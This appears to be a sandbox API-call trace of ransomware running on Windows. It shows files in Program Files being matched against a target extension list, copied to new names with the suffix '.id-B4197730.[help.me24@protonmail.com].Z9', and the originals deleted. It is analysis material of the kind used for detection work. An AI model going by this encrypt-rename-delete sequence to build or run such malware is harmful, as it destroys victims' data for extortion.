	[0092.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53
	[0092.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53
	[0092.017] lstrlenW (lpString=".doc") returned 4
	[0092.017] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0092.017] lstrlenW (lpString=".docx") returned 5
	[0092.017] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1
	[0092.017] lstrlenW (lpString=".pdf") returned 4
	[0092.017] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0092.017] lstrlenW (lpString=".xls") returned 4
	[0092.017] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0092.017] lstrlenW (lpString=".xlsx") returned 5
	[0092.017] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1
	[0092.017] lstrlenW (lpString=".ppt") returned 4
	[0092.017] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0092.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53
	[0092.017] lstrlenW (lpString=".zip") returned 4
	[0092.017] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0092.017] lstrlenW (lpString=".rar") returned 4
	[0092.017] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0092.017] lstrlenW (lpString=".bz2") returned 4
	[0092.017] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0092.017] lstrlenW (lpString=".7z") returned 3
	[0092.017] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0092.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53
	[0092.018] lstrlenW (lpString=".dbf") returned 4
	[0092.018] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0092.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53
	[0092.018] lstrlenW (lpString=".1cd") returned 4
	[0092.018] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0092.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb") returned 53
	[0092.018] lstrlenW (lpString=".jpg") returned 4
	[0092.018] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0092.018] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0092.018] lstrlenW (lpString="msaddsr.dll.mui") returned 15
	[0092.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0092.022] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=14336) returned 1
	[0092.023] CloseHandle (hObject=0x300) returned 1
	[0092.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui")) returned 0x20
	[0092.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0092.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui") returned 64
	[0092.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui") returned 64
	[0092.026] lstrlenW (lpString=".doc") returned 4
	[0092.026] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0092.026] lstrlenW (lpString=".docx") returned 5
	[0092.026] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0092.026] lstrlenW (lpString=".pdf") returned 4
	[0092.026] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0092.026] lstrlenW (lpString=".xls") returned 4
	[0092.026] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0092.026] lstrlenW (lpString=".xlsx") returned 5
	[0092.026] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1
	[0092.027] lstrlenW (lpString=".ppt") returned 4
	[0092.027] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0092.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui") returned 64
	[0092.027] lstrlenW (lpString=".zip") returned 4
	[0092.027] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0092.027] lstrlenW (lpString=".rar") returned 4
	[0092.027] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0092.027] lstrlenW (lpString=".bz2") returned 4
	[0092.027] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0092.027] lstrlenW (lpString=".7z") returned 3
	[0092.027] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0092.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui") returned 64
	[0092.027] lstrlenW (lpString=".dbf") returned 4
	[0092.027] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0092.133] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.133] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.133] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0092.135] GetLastError () returned 0x0
	[0092.135] ReadFile (in: hFile=0x364, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x15040, lpOverlapped=0x0) returned 1
	[0092.141] WriteFile (in: hFile=0x370, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x15050, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x15050, lpOverlapped=0x0) returned 1
	[0092.143] ReadFile (in: hFile=0x364, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.143] WriteFile (in: hFile=0x370, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xf0, lpOverlapped=0x0) returned 1
	[0092.143] SetEndOfFile (hFile=0x370) returned 1
	[0092.143] CloseHandle (hObject=0x370) returned 1
	[0092.143] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.143] SetEndOfFile (hFile=0x364) returned 1
	[0092.144] CloseHandle (hObject=0x364) returned 1
	[0092.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0092.145] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 1
	[0092.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0092.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0092.145] lstrlenW (lpString=".doc") returned 4
	[0092.145] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.145] lstrlenW (lpString=".docx") returned 5
	[0092.145] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0092.145] lstrlenW (lpString=".pdf") returned 4
	[0092.145] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.145] lstrlenW (lpString=".xls") returned 4
	[0092.145] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.145] lstrlenW (lpString=".xlsx") returned 5
	[0092.145] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0092.145] lstrlenW (lpString=".ppt") returned 4
	[0092.145] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.145] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0092.145] lstrlenW (lpString=".zip") returned 4
	[0092.145] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.145] lstrlenW (lpString=".rar") returned 4
	[0092.145] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.145] lstrlenW (lpString=".bz2") returned 4
	[0092.146] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.146] lstrlenW (lpString=".7z") returned 3
	[0092.146] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0092.146] lstrlenW (lpString=".dbf") returned 4
	[0092.146] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0092.146] lstrlenW (lpString=".1cd") returned 4
	[0092.146] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0092.146] lstrlenW (lpString=".jpg") returned 4
	[0092.146] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0092.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0092.146] lstrlenW (lpString=".doc") returned 4
	[0092.146] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.146] lstrlenW (lpString=".docx") returned 5
	[0092.146] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0092.146] lstrlenW (lpString=".pdf") returned 4
	[0092.146] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.146] lstrlenW (lpString=".xls") returned 4
	[0092.146] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.146] lstrlenW (lpString=".xlsx") returned 5
	[0092.146] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0092.146] lstrlenW (lpString=".ppt") returned 4
	[0092.146] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.146] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0092.146] lstrlenW (lpString=".zip") returned 4
	[0092.146] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.146] lstrlenW (lpString=".rar") returned 4
	[0092.146] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.146] lstrlenW (lpString=".bz2") returned 4
	[0092.146] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.146] lstrlenW (lpString=".7z") returned 3
	[0092.146] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0092.147] lstrlenW (lpString=".dbf") returned 4
	[0092.147] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0092.147] lstrlenW (lpString=".1cd") returned 4
	[0092.147] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.147] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0092.147] lstrlenW (lpString=".jpg") returned 4
	[0092.147] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.147] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0092.147] lstrlenW (lpString="deployJava1.dll") returned 15
	[0092.147] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0092.147] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=1026112) returned 1
	[0092.147] CloseHandle (hObject=0x364) returned 1
	[0092.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 0x20
	[0092.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.148] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0092.148] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.148] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.148] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0092.164] GetLastError () returned 0x0
	[0092.164] ReadFile (in: hFile=0x364, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0xfa840, lpOverlapped=0x0) returned 1
	[0092.552] WriteFile (in: hFile=0x370, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xfa850, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xfa850, lpOverlapped=0x0) returned 1
	[0092.921] ReadFile (in: hFile=0x364, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.921] WriteFile (in: hFile=0x370, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0092.921] SetEndOfFile (hFile=0x370) returned 1
	[0092.921] CloseHandle (hObject=0x370) returned 1
	[0092.921] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.921] SetEndOfFile (hFile=0x364) returned 1
	[0092.930] CloseHandle (hObject=0x364) returned 1
	[0092.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0092.930] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\deployjava1.dll")) returned 1
	[0092.930] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0092.930] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0092.930] lstrlenW (lpString=".doc") returned 4
	[0092.930] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.930] lstrlenW (lpString=".docx") returned 5
	[0092.930] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0092.930] lstrlenW (lpString=".pdf") returned 4
	[0092.930] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.930] lstrlenW (lpString=".xls") returned 4
	[0092.930] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.930] lstrlenW (lpString=".xlsx") returned 5
	[0092.930] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0092.930] lstrlenW (lpString=".ppt") returned 4
	[0092.931] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.931] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0092.931] lstrlenW (lpString=".zip") returned 4
	[0092.931] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.931] lstrlenW (lpString=".rar") returned 4
	[0092.931] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.931] lstrlenW (lpString=".bz2") returned 4
	[0092.931] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.931] lstrlenW (lpString=".7z") returned 3
	[0092.931] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.931] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0092.931] lstrlenW (lpString=".dbf") returned 4
	[0092.931] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.931] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0092.931] lstrlenW (lpString=".1cd") returned 4
	[0092.931] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.931] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0092.931] lstrlenW (lpString=".jpg") returned 4
	[0092.931] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.931] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0092.931] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0092.931] lstrlenW (lpString=".doc") returned 4
	[0092.931] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.931] lstrlenW (lpString=".docx") returned 5
	[0092.931] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0092.931] lstrlenW (lpString=".pdf") returned 4
	[0092.931] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.931] lstrlenW (lpString=".xls") returned 4
	[0092.931] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.931] lstrlenW (lpString=".xlsx") returned 5
	[0092.931] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0092.931] lstrlenW (lpString=".ppt") returned 4
	[0092.931] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.931] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0092.931] lstrlenW (lpString=".zip") returned 4
	[0092.931] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.932] lstrlenW (lpString=".rar") returned 4
	[0092.932] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.932] lstrlenW (lpString=".bz2") returned 4
	[0092.932] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.932] lstrlenW (lpString=".7z") returned 3
	[0092.932] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0092.932] lstrlenW (lpString=".dbf") returned 4
	[0092.932] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0092.932] lstrlenW (lpString=".1cd") returned 4
	[0092.932] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.932] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\deployJava1.dll") returned 63
	[0092.932] lstrlenW (lpString=".jpg") returned 4
	[0092.932] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.932] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0092.932] lstrlenW (lpString="gstreamer-lite.dll") returned 18
	[0092.932] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0092.933] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=619584) returned 1
	[0092.933] CloseHandle (hObject=0x364) returned 1
	[0092.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 0x20
	[0092.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0092.933] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0092.933] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.933] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.933] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0092.934] GetLastError () returned 0x0
	[0092.934] ReadFile (in: hFile=0x364, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x97440, lpOverlapped=0x0) returned 1
	[0092.975] WriteFile (in: hFile=0x370, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x97450, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0x97450, lpOverlapped=0x0) returned 1
	[0092.985] ReadFile (in: hFile=0x364, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.985] WriteFile (in: hFile=0x370, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x350fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0092.985] SetEndOfFile (hFile=0x370) returned 1
	[0092.985] CloseHandle (hObject=0x370) returned 1
	[0092.985] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.985] SetEndOfFile (hFile=0x364) returned 1
	[0092.991] CloseHandle (hObject=0x364) returned 1
	[0092.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0092.991] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 1
	[0092.991] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0092.991] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0092.991] lstrlenW (lpString=".doc") returned 4
	[0092.991] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.991] lstrlenW (lpString=".docx") returned 5
	[0092.991] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0092.991] lstrlenW (lpString=".pdf") returned 4
	[0092.992] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.992] lstrlenW (lpString=".xls") returned 4
	[0092.992] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.992] lstrlenW (lpString=".xlsx") returned 5
	[0092.992] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0092.992] lstrlenW (lpString=".ppt") returned 4
	[0092.992] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.992] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll") returned 57
	[0092.992] lstrlenW (lpString=".zip") returned 4
	[0092.992] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.992] lstrlenW (lpString=".rar") returned 4
	[0092.992] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
